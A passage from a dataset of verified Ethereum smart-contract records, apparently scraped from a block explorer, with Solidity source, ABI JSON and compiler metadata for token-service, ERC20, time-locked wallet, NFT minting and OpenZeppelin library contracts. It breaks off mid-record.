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NokuCustomERC20 | contracts/NokuCustomService.sol | 0xecfab3bdf6821d030b0a8a5f7011b297d8c898f0 | Solidity | contract NokuCustomService is Pausable {
using AddressUtils for address;
event LogPricingPlanChanged(address indexed caller, address indexed pricingPlan);
// The pricing plan determining the fee to be paid in NOKU tokens by customers
NokuPricingPlan public pricingPlan;
constructor(address _pricingPlan) internal {
require(_pricingPlan.isContract(), "_pricingPlan is not contract");
pricingPlan = NokuPricingPlan(_pricingPlan);
}
function setPricingPlan(address _pricingPlan) public onlyOwner {
require(_pricingPlan.isContract(), "_pricingPlan is not contract");
require(NokuPricingPlan(_pricingPlan) != pricingPlan, "_pricingPlan equal to current");
pricingPlan = NokuPricingPlan(_pricingPlan);
emit LogPricingPlanChanged(msg.sender, _pricingPlan);
}
} | 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NokuCustomERC20 | contracts/NokuCustomERC20Service.sol | 0xecfab3bdf6821d030b0a8a5f7011b297d8c898f0 | Solidity | /**
* @dev The NokuCustomERC2Service contract .
*/
contract NokuCustomERC20Service is NokuCustomService {
event LogNokuCustomERC20ServiceCreated(address caller, address indexed pricingPlan);
uint256 public constant CREATE_AMOUNT = 1 * 10**18;
uint8 public constant DECIMALS = 18;
bytes32 public constant CUSTOM_ERC20_CREATE_SERVICE_NAME = "NokuCustomERC20.create";
constructor(address _pricingPlan) NokuCustomService(_pricingPlan) public {
emit LogNokuCustomERC20ServiceCreated(msg.sender, _pricingPlan);
}
// TODO: REMOVE
function createCustomToken(string _name, string _symbol, uint8 /*_decimals*/) public returns(NokuCustomERC20 customToken) {
customToken = new NokuCustomERC20(
_name,
_symbol,
DECIMALS,
block.number,
block.number,
pricingPlan,
owner
);
// Transfer NokuCustomERC20 ownership to the client
customToken.transferOwnership(msg.sender);
require(pricingPlan.payFee(CUSTOM_ERC20_CREATE_SERVICE_NAME, CREATE_AMOUNT, msg.sender), "fee payment failed");
}
function createCustomToken(
string _name,
string _symbol,
uint8 /*_decimals*/,
uint256 transferableFromBlock,
uint256 lockEndBlock
)
public returns(NokuCustomERC20 customToken)
{
customToken = new NokuCustomERC20(
_name,
_symbol,
DECIMALS,
transferableFromBlock,
lockEndBlock,
pricingPlan,
owner
);
// Transfer NokuCustomERC20 ownership to the client
customToken.transferOwnership(msg.sender);
require(pricingPlan.payFee(CUSTOM_ERC20_CREATE_SERVICE_NAME, CREATE_AMOUNT, msg.sender), "fee payment failed");
}
} | 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||
OCW | OCW.sol | 0x57ff71ff2a508ddc8016f22d27e0a02fef9c0f88 | Solidity | pragma solidity 0.4.24;
contract OCW {
mapping (uint256 => Mark) public marks;
string public constant name = "One Crypto World";
string public constant symbol = "OCW";
uint8 public constant decimals = 0;
string public constant memo = "Introducing One Crypto World (OCW)\n A blockchain is a ledger showing the quantity of something controlled by a user. It enables one to transfer control of that digital representation to someone else.\nOne Crypto World (OCW) is created and designed by Taiwanese Crypto Congressman Jason Hsu, who is driving for innovative policies in crypto and blockchain. It will be designed as a utility token without the nature of securities. OCW will not go on exchange; users will not be able to make any direct profit through OCW.\nOne Crypto World is a Proof of Support(POS). The OCW coin will only be distributed to global Key Opinion Leaders (KOLs), which makes it exclusive.\nBy using OCW coins, each KOL can contribute their valuable opinion to the Crypto Congressman’s policies.";
mapping (address => uint256) private balances;
mapping (address => uint256) private marked;
uint256 private totalSupply_ = 1000;
uint256 private markId = 0;
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
struct Mark {
address author;
bytes content;
}
constructor() public {
balances[msg.sender] = totalSupply_;
}
function () public {
mark();
}
function mark() internal {
require(1 + marked[msg.sender] <= balances[msg.sender]);
markId ++;
marked[msg.sender] ++;
Mark memory temp;
temp.author = msg.sender;
temp.content = msg.data;
marks[markId] = temp;
}
function totalMarks() public view returns (uint256) {
return markId;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value + marked[msg.sender] <= balances[msg.sender]);
require(_value <= balances[msg.sender]);
require(_value != 0);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender] - _value;
balances[_to] = balances[_to] + _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"marks","outputs":[{"name":"author","type":"address"},{"name":"content","type":"bytes"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"memo","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalMarks","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":false,"stateMutability":"nonpayable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}] | v0.4.24+commit.e67f0147 | false | 200 | Default | false | bzzr://ebf76b1e5c354bdde8d5ee9517cd9e5204113a08c487a6c17bd69203d6af02b5 |
||||
SimpleERC20 | contracts/service/ServicePayer.sol | 0x46992fad76560b3c58f04899d2930773edf2e1f6 | Solidity | pragma solidity ^0.7.0;
/**
* @title ServicePayer
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the ServicePayer
*/
contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
ServiceReceiver(receiver).pay{value: msg.value}(serviceName);
}
} | [{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"initialBalance","type":"uint256"},{"internalType":"address payable","name":"feeReceiver","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"generator","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"}] | v0.7.4+commit.3f05b770 | true | 200 | 000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000000000000000dec5c11d8b9fc565a9d9ffefb8eb536456a5cc85000000000000000000000000000000000000000000000000000000000000000b53696d706c654552433230000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000553494d504c000000000000000000000000000000000000000000000000000000 | Default | MIT | false | ipfs://d84f2554bbe4134a5e39bc9b40383392476d40826d2dd5b5e8e8e7f44a76c1e8 |
||
SimpleERC20 | contracts/utils/GeneratorCopyright.sol | 0x46992fad76560b3c58f04899d2930773edf2e1f6 | Solidity | pragma solidity ^0.7.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private constant _VERSION = "v4.0.0";
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public pure returns (string memory) {
return _VERSION;
}
} | [{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"initialBalance","type":"uint256"},{"internalType":"address payable","name":"feeReceiver","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"generator","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"}] | v0.7.4+commit.3f05b770 | true | 200 | 000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000000000000000dec5c11d8b9fc565a9d9ffefb8eb536456a5cc85000000000000000000000000000000000000000000000000000000000000000b53696d706c654552433230000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000553494d504c000000000000000000000000000000000000000000000000000000 | Default | MIT | false | ipfs://d84f2554bbe4134a5e39bc9b40383392476d40826d2dd5b5e8e8e7f44a76c1e8 |
||
TimeLockedWallet | TimeLockedWallet.sol | 0x217edc621b3c8f70e55286f56dc75eb70326ec16 | Solidity | pragma solidity ^0.4.24;
/**
* @title ERC20
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract TimeLockedWallet {
address public creator;
address public owner;
uint public unlockDate;
uint public createdAt;
event Received(address from, uint amount);
event Withdrew(address to, uint amount);
event WithdrewTokens(address tokenContract, address to, uint amount);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor (
address _owner,
uint _unlockDate
) public {
creator = msg.sender;
owner = _owner;
unlockDate = _unlockDate;
createdAt = now;
}
// keep all the ether sent to this address
function() payable public {
emit Received(msg.sender, msg.value);
}
// callable by owner only, after specified time
function withdraw() onlyOwner public {
require(now >= unlockDate);
//now send all the balance
uint256 balance = address(this).balance;
msg.sender.transfer(balance);
emit Withdrew(msg.sender, balance);
}
// callable by owner only, after specified time, only for Tokens implementing ERC20
function withdrawTokens(address _tokenContract) onlyOwner public {
require(now >= unlockDate);
ERC20 token = ERC20(_tokenContract);
//now send all the token balance
uint tokenBalance = token.balanceOf(this);
token.transfer(owner, tokenBalance);
emit WithdrewTokens(_tokenContract, msg.sender, tokenBalance);
}
function info() public view returns(address _creator, address _owner, uint _unlockDate, uint _now, uint _createdAt, uint _balance) {
return (creator, owner, unlockDate, now, createdAt, address(this).balance);
}
function isLocked() public view returns(bool _isLocked) {
return now < unlockDate;
}
function tokenBalance(address _tokenContract) public view returns(uint _balance) {
ERC20 token = ERC20(_tokenContract);
//now send all the token balance
uint balance = token.balanceOf(this);
return balance;
}
} | [{"constant":true,"inputs":[],"name":"creator","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"info","outputs":[{"name":"_creator","type":"address"},{"name":"_owner","type":"address"},{"name":"_unlockDate","type":"uint256"},{"name":"_now","type":"uint256"},{"name":"_createdAt","type":"uint256"},{"name":"_balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_tokenContract","type":"address"}],"name":"withdrawTokens","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"unlockDate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"isLocked","outputs":[{"name":"_isLocked","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"createdAt","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_tokenContract","type":"address"}],"name":"tokenBalance","outputs":[{"name":"_balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_owner","type":"address"},{"name":"_unlockDate","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"from","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Received","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"to","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Withdrew","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"tokenContract","type":"address"},{"indexed":false,"name":"to","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"WithdrewTokens","type":"event"}] | v0.4.24+commit.e67f0147 | false | 200 | 000000000000000000000000232c4ad01e0abad40b98b39660b2ef7cec964693000000000000000000000000000000000000000000000000000000005b657920 | Default | false | bzzr://ac231dbd1b2620cf0d5738916554e3c0a2bf1b9e1696148093e7531d1495c5aa |
|||
ArtBanditzXLT | @openzeppelin/contracts/access/Ownable.sol | 0x41d76e3d464bc9ac8796f03da8c601fb55d59dc9 | Solidity | pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
contract ArtBanditzXLT is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public cost = 0.2 ether;
uint256 public maxSupply = 60;
uint256 public maxMintAmount = 1;
uint256 public nftPerAddressLimit = 1;
bool public paused = false;
bool public revealed = true;
bool public onlyWhitelisted = true;
address[] public whitelistedAddresses;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint( uint256 _mintAmount) public payable {
require(!paused);
uint256 supply = totalSupply();
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);
if (msg.sender != owner()) {
if (onlyWhitelisted == true){
require(isWhitelisted(msg.sender), "Sorry Bandit. No luck this time! This drop is for WL banditz only!");
}
require(msg.value >= cost * _mintAmount);
uint256 ownerTokenCount = balanceOf(msg.sender);
require(ownerTokenCount < nftPerAddressLimit);
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function isWhitelisted(address _user) public view returns (bool) {
for(uint256 i = 0; i < whitelistedAddresses.length; i++) {
if (whitelistedAddresses[i] == _user) {
return true;
}
}
return false;
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner {
revealed = true;
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner {
nftPerAddressLimit = _limit;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function setOnlyWhitelisted(bool _state) public onlyOwner {
onlyWhitelisted = _state;
}
function whitelistUsers(address[] calldata _users) public onlyOwner {
delete whitelistedAddresses;
whitelistedAddresses = _users;
}
function withdraw() public payable onlyOwner {
(bool hs, ) = payable(0x2612d69AC4E0A2e23709B3ca50A510061E1bd6cb).call{value: address(this).balance * 5 / 100}("");
require(hs);
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
}
}
/**
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"0x5B19C7Ec378dF0a7D91D509e2BE0681DA29d9A83",
"0x1a5aa3EC4eC6d3229740C185a94eA517cf37dCDF",
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*/ | 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||
StandardPoolConverter | @openzeppelin/contracts/utils/Address.sol | 0xe9db9908a2aa69753a5ed89827b35a2b827d87ea | Solidity | pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | [{"inputs":[{"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"internalType":"contract IContractRegistry","name":"_registry","type":"address"},{"internalType":"uint32","name":"_maxConversionFee","type":"uint32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint16","name":"_type","type":"uint16"},{"indexed":true,"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"indexed":true,"internalType":"bool","name":"_activated","type":"bool"}],"name":"Activation","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract IERC20","name":"_fromToken","type":"address"},{"indexed":true,"internalType":"contract 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IERC20[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256","name":"_reserveTokenIndex","type":"uint256"},{"internalType":"uint256","name":"_reserveAmount","type":"uint256"}],"name":"addLiquidityCost","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256[]","name":"_reserveAmounts","type":"uint256[]"}],"name":"addLiquidityReturn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract 